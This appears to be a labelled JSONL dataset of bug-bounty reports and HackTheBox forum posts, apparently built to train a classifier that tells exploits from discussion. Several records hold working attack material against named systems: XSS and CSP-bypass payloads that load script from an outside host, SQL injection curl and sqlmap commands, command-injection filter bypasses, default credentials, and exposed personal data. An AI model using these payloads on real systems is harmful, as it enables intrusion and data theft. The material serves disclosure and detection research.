-{"id": "f3d3f0aad7448e83c33b", "text": "[Information Disclosure] Flickr API key leaked in GitHub commit\n\nHello security team,\n\nMy Name is Mayank Kumar. I am a Cyber Security Researcher, Bug Bounty Hunter & Ethical Hacker.\n\nWhile going through Github search I discovered a public repository which contains API Key.\n\nRepo: https://github.com/mozilla/make.mozilla.org\n\nFile: https://github.com/mozilla/make.mozilla.org/blob/98b87c517b463a5bae09f29284b1dabca97bb376/media/js/flickr.js#L4\n\nPOC: Screenshot Attached\n\n## Impact\n\nInformation Disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8a2ab20977c0ba90a16f", "text": "[Weak Cryptography for Passwords] Default password on 34.120.209.175\n\nThere is  a default password on 34.120.209.175, I can log in successfully.It has 500 Server Error, But we can confirm default password is vaild.\n\n**Summary:**\n\nThe IP has a SSL certificate pointing to ElasticSearch.\ncurl -kv https://34.120.209.175\n\n\n\n## Steps To Reproduce:\n\n  1. access https://34.120.209.175/user/login,and log in with admin/admin\n  2. it response the  version of  rundeck and error alert\n  3. get Physical path and Class name.\n\n## Impact\n\nGet the Default password.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "73add8fdaab4aee87c2f", "text": "[Information Disclosure] Google Docs link in JS files allows editing & reading survey information\n\nHello HackerOne security team,\n\nI've been monitoring your JS files for a while now. I've just noticed that a new Google Docs link appeared.\nhttps://docs.google.com/forms/d/1cwHTgNBd51ECJ3w-5Hy6LgioJWhJ2qFF_vdlmXb6zao/edit#responses\n{F2725244}\n\nThis google docs link has been leaked in JS chunk file located at:\n`https://hackerone.com/assets/static/js/5930.078b8e86.chunk.js`\n\nIt allows an attacker to edit anything & view some confidential data about users such as emails/survey responses.\n\nHave a great day!\n\n## Impact\n\nThe attacker is able to edit the survey & view some confidential data about some users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4da535957ae4dd754b8b", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in Notes (with CSP bypass for gitlab.com)\n\n## Summary\nI read the issue [345657](https://gitlab.com/gitlab-org/gitlab/-/issues/345657) which handles the XSS in notes reported in Hackerone report [1398305](https://hackerone.com/reports/1398305). This issue fixes the reported XSS but leaves the HTML injection that was also mentioned. I don't know how you deal with these situations, but I thought I report this, and you can decide :)\n\nThe issue linked above shows how a user can inject HTML in any Note (actually any Markdown it seems. For example wiki pages and issue descriptions) by abusing [syntax_highlight_filter.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/c2e5d7b89b84cc5b44575592bb706ef75c3d1bbb/lib/banzai/filter/syntax_highlight_filter.rb).\n\nThere are more ways to take this injection and weaponize it than the patched Emoji tag. I have a list of additional vectors but though that I would report the worst one (proper full stored XSS) and explain more if you decide to accept the report. To not waste our time.\n\nI have multiple ways to inject `script` tags, but it looks like you have hardened your CSP? None of the old bypasses worked for me. But it still seems that you have not blocked the `base` tag. And fortunately for me, the injection let me pass in `base` tags. So by entering this into an issue description or wiki page\n\n```\n<pre data-sourcepos=\"&#34;%22 href=&#34;x&#34;></pre>\n<base href=https://joaxcar.com>\n<pre x=&#34;\">\n<code></code></pre>\n```\nAll relative links in the page will try to load their data from my site \"joaxar.com\". If we then open DevTools and reload the page, we will see the name of all files that failed to load. In the case of an issue page, we have this script\n```\nhttp://joaxcar.com/assets/webpack/hello.4948f350.chunk.js\n```\nand for a wiki page we have\n```\nhttps://joaxcar.com/assets/webpack/top_nav.c9763726.chunk.js\n```\n{F1618905}\n\nNow I just have to create these files on my domain, and they will load and bypass CSP (as these script tags will have nonce in place and can thus load anything)\n\n{F1618900}\n\n## Steps to reproduce\n1. log in as a user on Gitlab.com\n2. go to any project (or create one), and add a new issue\n3. enter this as the description (replace with your own server if you need to generate new scripts on your own domain)\n```\n<pre data-sourcepos=\"&#34;%22 href=&#34;x&#34;></pre>\n<base href=https://joaxcar.com>\n<pre x=&#34;\">\n<code></code></pre>\n```\n4. save the issue\n5. open DevTools (f12) and look for failing script imports\n6. create the missing script on your domain containing\n```\nalert(document.domain)\n```\n7. reload the page and the popup should pop\n\n{F1618901}\n\n\n### Impact\n\nStored XSS in gitlab.com\n\nThere are more that can be added to the report but I am sending this in first and will add information later. The XSS can as you know create tokens (and as I have shown before take over SSO accounts)\n\n### What is the current *bug* behavior?\n\nHTML injection in Markdown\n\n### What is the expected *correct* behavior?\n\nShould not be possible\n\n### Output of checks\n\nThis bug happens on GitLab.com\n\n## Impact\n\nStored XSS in gitlab.com\n\nThere are more that can be added to the report but I am sending this in first and will add information later. The XSS can as you know create tokens (and as I have shown before take over SSO accounts)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aba82ac2277c82b4d920", "text": "Hi, You have to find a Command Injection Method (||), from there t’r’y different bypass methods. Using and bypass method for / should work.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6001dae504118a234c58", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://█████████ via \"███\" parameter\n\n**Description:**\n\nThere is Reflected Cross site scripting issue at the following url:\n\nhttps://█████████\n\n## Proof Of Concept\n\nhttps://███████?████████=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E\n\n█████\n\nBest Regards\n\n@pelegn\n\n## Impact\n\nCookies Exfiltration\nSOAP Bypass\nCORS Bypass\nExecuting javascript on the victim behalf\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://█████?████████=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "042eb43a1ded7b40fd5c", "text": "[Missing Encryption of Sensitive Data] CVE-2023-46219: HSTS long file name clears contents\n\n## Summary:\nI've discovered a significant security flaw in cURL's file handling, particularly affecting the HSTS (HTTP Strict Transport Security) database when handling long filenames. \n\n### Vulnerability Description\ncURL erroneously creates temporary files with names potentially exceeding the filesystem's maximum filename length (typically 255 bytes for ext4, etc.). If a filename used in the HSTS database is longer than 243 bytes (255 bytes minus 9 for the random suffix and 4 for the '.tmp' extension), an unexpected security error occurs, leading to the HSTS database being overwritten.\n\n### Affected Code\n\n**File: curl/lib/fopen.c**\n```c\nCURLcode Curl_fopen(struct Curl_easy *data, const char *filename, FILE **fh, char **tempname) {\n  CURLcode result = CURLE_WRITE_ERROR;\n  unsigned char randsuffix[9]; // Random suffix generation <=======\n  ...\n  tempstore = aprintf(\"%s.%s.tmp\", filename, randsuffix); // Temporary filename creation <=======\n  if(!tempstore) {\n    result = CURLE_OUT_OF_MEMORY;\n    goto fail;\n  }\n}\n```\n\n**File: curl/lib/hsts.c**\n```c\nresult = Curl_fopen(data, file, &out, &tempstore);\n...\nif(!result && tempstore && Curl_rename(tempstore, file)) // Attempt to rename temp file to actual file <======\n  result = CURLE_WRITE_ERROR;\n\nif(result && tempstore)\n  unlink(tempstore); // Remove temp file if error occurs\n```\n\n## Steps To Reproduce:\n\n\nFirst let’s check the correct behaviour. I’ve created simple hsts file for cxsecurity.com domain\n```bash\n$ cat ok.hsts.txt\n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\ncxsecurity.com \"20241031 12:12:12\"\n                                                                                                                                                  \n$ curl --hsts ok.hsts.txt http://cxsecurity.com -v\n* Switched from HTTP to HTTPS due to HSTS => https://cxsecurity.com/\n*   Trying 188.114.97.1:443...\n…
\n```\n\nSo works great. Let’s try update the database and add Facebook \n  \n```bash\n$ curl --hsts ok.hsts.txt https://facebook.com -v \n*   Trying 31…\n* Connected to facebook.com …\n…\n< Strict-Transport-Security: max-age=15552000; preload\n…\n                                                                                                                                                                  \n$ cat ok.hsts.txt                                \n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\ncxsecurity.com \"20241031 12:12:12\"\nfacebook.com \"20240430 00:11:44\"\n```\n\nThe file has been successfully updated.  
\n\nLet’s see what will happen if the user will define filename longer that 243 (let’s use the content from previous file)\n\n```bash\n$ cp ok.hsts.txt hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.txt \n```\n\nLet’s validate the file size as it will be important to prove security issue. \n\n```bash\n$ ls -la hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.txt          \n-rw-r--r-- 1 cx cx 179 Nov  1 19:14 hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.txt\n```\n\nwe have 179 bytes.\n\nIf the user will use such file, curl will reset the content due to improper rename action\n\n```bash\n$ cat hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.hsts.h", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-46219"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bfb0aac58e5def0afc6f", "text": "[Business Logic Errors] Fee discounts can be redeemed many times, resulting in unlimited fee-free transactions\n\n## Summary:\nHi there, first off, I am an actual Stripe customer using Stripe for my real business, so I used my actual Stripe account to test this (as there is no other way). I realize this is not ideal but hope you understand given the unique scenario!\n\nI was recently offered a fee discount of $20,000 on Stripe transactions. Stripe Support applied the offer to my account, and I was shown a prompt to accept the fee discount in my dashboard. \n\nI decided I should try and look for a race condition in this acceptance. So, I used Burp Turbo Intruder to race the request that accepts the fee discount, `/ajax/accept_fee_discount_offer` (forgot to take screenshot as I did not think it would work!). \n\nIt seems a race was not even needed though, as I called it 30 times and 30 fee discounts were immediately applied to my account! As a result, I now have $600,000 of fee-free processing applied to my account. Obviously, this is not ideal for Stripe as you only intended to offer me $20,000! I believe you could keep calling this endpoint if you wanted to, you just need a valid `fdo_` ID.\n\n████\n\n## Impact\n\nUnlimited fee-free discounts. This will cost Stripe about 3% of each discount, so $600 each time a $20k discount is abused.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "70f47a6214ebd0b9e6a9", "text": "[SQL Injection] SQL Injection in █████\n\n## References\n\n## Impact\n\nBy using SQL injection, an attacker can exfiltrate the whole database, and gain RCE\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n████\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nPOC 1 - curl command injecting query, returning database version:\ncurl https://█████████ -X POST -data=\"url=%2F████████&███████=AA'+OR(cast(version as date))LIKE'A\" -k\n\nPOC 2 - curl command injecting query, returning current database:\ncurl https://███████████████ -X POST -data=\"url=%2F██████████&███=AA'+OR(cast(current_user as date))LIKE'A\" -k\n{\"msg\":\"fail\",\"err\":\"ERROR: invalid input syntax for type timestamp: \\\"████\\\"\"}\n\nPOC 3 - curl command injecting query, returning current user:\n curl https://█████████ -X POST -data=\"url=%2F████&█████=AA'+OR(cast(current_user as date))LIKE'A\" -k\n{\"msg\":\"fail\",\"err\":\"ERROR: invalid input syntax for type timestamp: \\\"███████\\\"\"}\n\n## Suggested Mitigation/Remediation Actions\nThe vulnerable parameter \"█████\" in the ████████ endpoint should be sanitized properly. Usually this is done by implementing prepared statement.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "71ef94166492d07229f5", "text": "[Unknown] CPP: Add query for CWE-243 Creation of chroot Jail Without Changing Working Directory\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "331b8eae967d8b5439f5", "text": "[Improper Authentication - Generic] Account takeover on ███████ [HtUS]\n\nHello,\nI have found an endpoint in ████████ is vulnerable to Account takeover\n\nSteps to reproduce:\n1. Create 2 accounts ( Attacker ( A ) and vicitm ( B ) )\n2. Log in to all of them and go to https://███████/███████/EditUserProfile with attacker's account\n3. Now fill out the password with your password \n4. Change the attacker's attacker@gmail.com email with victim's email victim@gmail.com\n5. Click Submit button and forward the request to repeater\n6. Now if the vicim tried to log into his account, he will facing an error\n7. Back to the request go to repeater and change the User id of the attacker with the vicim's user ID ( You probley need to brute-force it )\n8. Forward the request and you will see 302 code response\n9. Stay in the request and change back all changes ( EMAIL and USER ID of Attacker ) and send the request again\n9. Now try to log into the victim's victim@gmail.com account with your password\n10. You will be logged in\n\n\n\nPOC:\n\t████\n\n## Impact\n\nAn attacker can takeover accounts", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f8feb7b3d4703524b26e", "text": "[Unknown] Sensitive Information Disclosure\n\n**|   \n\nCAUTION: External email. Do not click links or open attachments unless you recognize the sender and know the content is safe.\n\n  |**\n  \n\n* * *\n\nHi Team,\n\n  \n\n Sensitive Information Disclosure such JEB 4.2.0.202106271614 Licensed to **Yukihiro Okutomi (McAfee)** Email address: **Yukihiro\\_Okutomi@McAfee.com** User ID: 924003040 License ID: 190631457880686064 is being disclosed   \n  \nNavigate to [https://18.180.223.16:8443/](https://18.180.223.16:8443/)  \n  \n**Restrict access to this page for unauthorized user**    \n  \nAttack scenario:  \nPersonally Identifiable Information | PII Data is being exposed   \n[https://www.gsa.gov/reference/gsa-privacy-program/rules-and-policies-protecting-pii-privacy-act](https://www.google.com/url?q=https://www.gsa.gov/reference/gsa-privacy-program/rules-and-policies-protecting-pii-privacy-act&sa=D&source=buganizer&usg=AOvVaw0iBvkRlk4VJ7DNAqufeuVp)\n\n  \n--   \n\nRegards   \n\n Ashish Murugan S\n\n## Impact", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bffe72b8999995cdb87e", "text": "[Information Disclosure] Origin IP found, Cloudflare bypassed\n\n## Summary:\nNon-Cloudflare IPs allowed to access origin servers\n## Description\nThe frontend currently resolves to 104.16.100.160,  owned by Cloudflare, which act as your reverse proxy and WAF. By correlating your SSL Certificates to other hosts on the internet that serve the same content I was able to determine the current Origin Server as 3.211.245.254, operated by Amazon's AWS services.\nBy using these IP address as a resolver instead of the intended addresses I'm able to access the service without going through the WAF, thus I'm able to forward unfiltered payloads to the service, as well as avoiding the common protections offered by Cloudflare, also being able to perform crippling denial-of-services towards the origin.\n##PoC\nhttps://www.shodan.io/host/3.211.245.254\nhttp://3.211.245.254\n## Suggestions\nMy recommendations fall in line with Cloudflare's own guidelines: the Origin server must communicate exclusively with Cloudflare's IP address ranges, otherwise—as reported in this post on Cloudflare's blog, the protection offered by having a reverse proxy basically becomes useless.\n## Bug Reference\nhttps://www.cloudflare.com/learning/cdn/glossary/origin-server/\nhttps://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/\nhttps://support.incapsula.com/hc/en-us/articles/211809478-How-do-I-conceal-my-origin-server-IP-\nhttps://www.secjuice.com/finding-real-ips-of-origin-servers-behind-cloudflare-or-tor/\n## Similar reports on hackerone\nhttps://hackerone.com/reports/255978\nhttps://hackerone.com/reports/360825\nhttps://hackerone.com/reports/315838\n\n## Impact\n\nAs reported in many other submissions, Cloudflare bypasses can have a significant impact, as any adversary is now able to communicate with the origin server directly, enabling them to perform unfiltered attacks (such as denial-of-service), and data retrieval.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "468ca662f61c483805fa", "text": "[SQL Injection] SQL injection at [█████████] [HtUS]\n\nHello,\n\n##Summary\n\nwhile doing test on [`█████`](http://███████/) I’ve found that the endpoint at `/olc/set/m101/leasib.php` is vulnerable with SQL injection vulnerability\n\n##Vulnerable parameters \n\n- scn\n- SUBJECT\n- COURSEID\n\n##POC\n\n1. using sqlmap run command `python3 [sqlmap.py](http://sqlmap.py/) --level=5 --risk=3 --tamper=space2comment --random-agent -u [https://████/olc/set/m101/leasib.php](https://█████/olc/set/m101/leasib.php) --data=\"COURSEID=M101&SUBJECT=Entry%20Briefing&StudentName=dPbRKJwr&Submit=Submit%20Confirmation&scn=0\" -p scn`\n2. we can se that the target is vulnerable \n\n```jsx\nParameter: scn (POST)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: COURSEID=M101&SUBJECT=Entry Briefing&StudentName=dPbRKJwr&Submit=Submit Confirmation&scn=0'||(SELECT 0x5648745a FROM DUAL WHERE 7300=7300 AND 1308=1308)||'\n\n    Type: error-based\n    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\n    Payload: COURSEID=M101&SUBJECT=Entry Briefing&StudentName=dPbRKJwr&Submit=Submit Confirmation&scn=0'||(SELECT 0x47636148 FROM DUAL WHERE 1321=1321 AND (SELECT 7303 FROM(SELECT COUNT(*),CONCAT(0x7171706271,(SELECT (ELT(7303=7303,1))),0x71716b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: COURSEID=M101&SUBJECT=Entry Briefing&StudentName=dPbRKJwr&Submit=Submit Confirmation&scn=0'||(SELECT 0x47774954 FROM DUAL WHERE 5475=5475 AND (SELECT 6347 FROM (SELECT(SLEEP(5)))eoxH))||'\n---\n```\n\n1. add - -dbs we can see the databases   \n\n```jsx\navailable databases [13]:\n[*] ███\n[*] ███mobile\n[*] GET\n[*] information_schema\n[*] LEAM\n[*] leat\n[*] LEV\n[*] mysql\n[*] performance_schema\n[*] SET\n[*] test\n[*] testadmin\n[*] testusers\n```\n\n## Impact\n\nallows remote attacker to gain access to the database", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dd9bc39cec92fdf80a6d", "text": "install http-server globally using npm then you’ll be able to use http-server command without ‘npm exec’", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f7e4dc2e1ba6a6e18b08", "text": "[Information Exposure Through Sent Data] curl cookie mixed case PSL bypass\n\nA vulnerability in curl allows a malicious HTTP server to set \"super cookies\" in curl that are then passed back to more origins than what is otherwise allowed or possible. This allows a site to set cookies that then would get sent to different and unrelated sites and domains.\n\nIt could do this by exploiting a mixed case flaw in curl's function that verifies a given cookie domain against the Public Suffix List (PSL). For example a cookie could be set with domain=co.UK when the URL used a lowercase hostname curl.co.uk, even though co.uk is listed as a PSL domain.\n\n## Impact\n\nIssue supercookies bypassing the Public Suffix List check.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e5fdcefcf394e9a0cdb6", "text": "[Improper Access Control - Generic] User automatically logged in as Sys Admin user on https://███/Administration/Administration.aspx\n\n**Description:**\nAny user can access the Administration section of the following URL: https://███\nWhen the user goes to the following domain they are automatically logged in as \"████████\" which is a sys admin user on the application, this allows any user to upload files, add users, change permissions for users and delete users.\n\n## References\n\n## Impact\n\nA malicious actor can modify other user's privileges on the application, add users, upload files, delete users. They can also add false information to the application which will jeopardize the integrity of the application. With administrator privileges they have no restrictions on the application.\n\n## System Host(s)\nhttps://█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nStep 1) Go to the following URL: https://███ \nThere you will se that you are logged in as a Sys Admin user\n\n## Suggested Mitigation/Remediation Actions\nThe application should prompt a user to authenticate first before being able to do any other actions on the system.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "26a66dbd8a60603b3525", "text": "First click on the copy to on any file and copy it to the tmp folder.From there if u tried to (copy to) and move the file u will get the malicious request denied.I used burp and Network monitor( ctrl + shift + e ) when using network monitor right click on the GET request that led to Malicious request denied then it will open new request which u can modify and send it to see the result which will be on response.I injected the code after ‘to=’ . “to=tmp&from=tmp%2F51459716.txt&finish=1&move=1” this is the request that u will be modifying.The hint is to inject the code in the right place( so here we are doing mv tmp/51459716.txt tmp) 51459716.txt is the file i copied to tmp and tried to move. / , cat and space are blacklisted maybe there is others but those what u will need to make your code work.u can use the encoding method but make sure to change the space to ${IFS} also u can use cat but u need to modify the / and space.u can direct message me and i can help.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a577f5406ccb37d93eb6", "text": "Hack The Box Academy - FOOTPRINTING - DNS enumeration\n\nHello together, right now I’m stuck at in the FOOTPRINTING module of Hack The Box Academy in the DNS enumeration section. I’m stuck at the following question: “What is the FQDN of the host where the last octet ends with “x.x.x.203”?” I already used all the big subdomain lists from the SecLists directory to enumerate the subdomains but i did not find the ip address which ends with .203. I use dnsenum for the DNS enumeration. Can someone please give me some hints or point me to correct wordlist which can be used to find the correct ip? Best regards", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c63260c8d76a082baf03", "text": "[Improper Access Control - Generic] Bypass of fix #1370749\n\nHello team,\n\non report #1370749 the reporter found that the preview link is not expiring. So when someone will gain access to the preview link, he can access it for whole life as the preview link remains the same even after changing the storefont password. I have reported the issue #1401525 where i am getting the preview link with a user with limited permission. But it was duplicate of #1370749, because on that fix , getting the storefont url couldn't be accessed later after changing the store password.\nThe report #1370749 has been fixed and the fix worked properly now upon changing the storefont password the previous preview link is expiring. But i have found another endpoint where it is leaking the storefont preview url and the strange thing is , it is not expiring even after the password change for the store font. It is remaining static and we can access the store through that permanently.\n\n1- Admin of https://shakti-jan2022.myshopify.com/ invites user-a with themes permission only.\n2- from User-a visit https://shakti-jan2022.myshopify.com/admin/themes\n3- Now check the http history in burp, you will find an request\n\n```\nPOST /admin/online-store/themes?hmac=████&host=c2hha3RpLWphbjIwMjIubXlzaG9waWZ5LmNvbS9hZG1pbg&locale=en-IN&session=███&shop=shakti-jan2022.myshopify.com&timestamp=1645562098&_signed_params=host%2Clocale%2Csession%2Cshop%2Ctimestamp HTTP/1.1\nHost: shakti-jan2022.myshopify.com\nConnection: close\nContent-Length: 581\nCache-Control: max-age=0\nsec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nUpgrade-Insecure-Requests: 1\nOrigin: null\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-Dest: iframe\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nCookie: ████\n\nappShellSessionToken=███████&appShellAttempts=1&appShellReason=\n```\nNow the response will be\n\n```\nHTTP/1.1 200 OK\nDate: Tue, 22 Feb 2022 20:35:06 GMT\nContent-Type: text/html; charset=utf-8\nConnection: close\nX-Sorting-Hat-PodId: 240\nX-Sorting-Hat-ShopId: 62790336753\nVary: Accept-Encoding\nX-XSS-Protection: 1; mode=block\nX-Download-Options: noopen\nX-Content-Type-Options: nosniff\nStrict-Transport-Security: max-age=63072000; includeSubDomains; preload\nReferrer-Policy: origin-when-cross-origin\nContent-Security-Policy: frame-ancestors https://shakti-jan2022.myshopify.com; default-src 'self' https://cdn.shopify.com https://cdn.shopifycdn.net; frame-src https://*; base-uri 'self'; object-src 'none'; img-src 'self' data: https://*; style-src 'self' 'unsafe-inline' https://cdn.shopify.com https://cdn.shopifycdn.net; font-src 'self' https://fonts.shopifycdn.com https://cdn.shopify.com https://cdn.shopifycdn.net; script-src 'self' https://cdn.shopify.com https://cdn.shopifycdn.net 'nonce-555f8cbe-fbc4-4125-9ae1-285b0bd06c9c'; connect-src 'self' online-store-web.shopifyapps.com https://notify.bugsnag.com https://burst.shopify.com wss://argus.shopifycloud.com https://shopify.s3.amazonaws.com monorail-edge.shopifysvc.com\nX-Dc: gcp-asia-southeast1,us-east1\nX-Request-ID: d9d0bda6-b4bd-489b-9c3c-7384cbba086a\nX-Permitted-Cross-Domain-Policies: none\nCF-Cache-Status: DYNAMIC\nExpect-CT: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nServer: cloudflare\nCF-RAY: 6e1affb60b3d8577-BOM\nalt-svc: h3=\":443\"; ma=86400, h3-29=\":443\"; ma=86400\nContent-Length: 39792\n\n<!DOCTYPE html><html lang=\"en-IN\"><head><title data-react-html=\"true\">Shopify</title><meta charSet=\"utf-8\"/><meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"/><meta name=\"referrer\" content=\"never\"/><meta data-react-html=\"true\" name=\"viewport\" content=\"width=device-width, initial-scale=1, viewpor", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2b74760924bda3b7e6a", "text": "I am working on the Tier 1 Responder Machine and running into this same problem. Someone mentioned Parrot being an issue? Would it be better to do this one in Pwnbox instead?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a2e877d450008642b513", "text": "[Improper Authentication - Generic] Exposure of a valid Gitlab-Workhorse JWT leading to various bad things\n\n### Summary\n\nUsing the **State** Uploading API we could potentially do a bad thing:\n- Bypass `Gitlab::Workhorse.verify_api_request!`\n\nThis was due to the fact that Workhorse clean the URL before passing it to Rails, this is elaborated in #923027. \nand **State** Api read `request.body` to append it as a file!\n\n**lib/api/terraform/state.rb**\n```ruby\n desc 'Add a new terraform state or update an existing one'\n          route_setting :authentication, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth\n          post do\n            authorize! :admin_terraform_state, user_project\n\n            data = request.body.read\n```\nThere is one very interestingly specific exploit which I've found in my researching on Geo is to un-authorizing push to any readable repository\nSince Gitlab has a pre-receive hook which check the permission even if attacker is able to bypass the Access Control in Rails part but here is pretty interesting stuff in EE:\n\n**ee/app/controllers/ee/repositories/git_http_controller.rb**\n```ruby\ndef user\n        super || 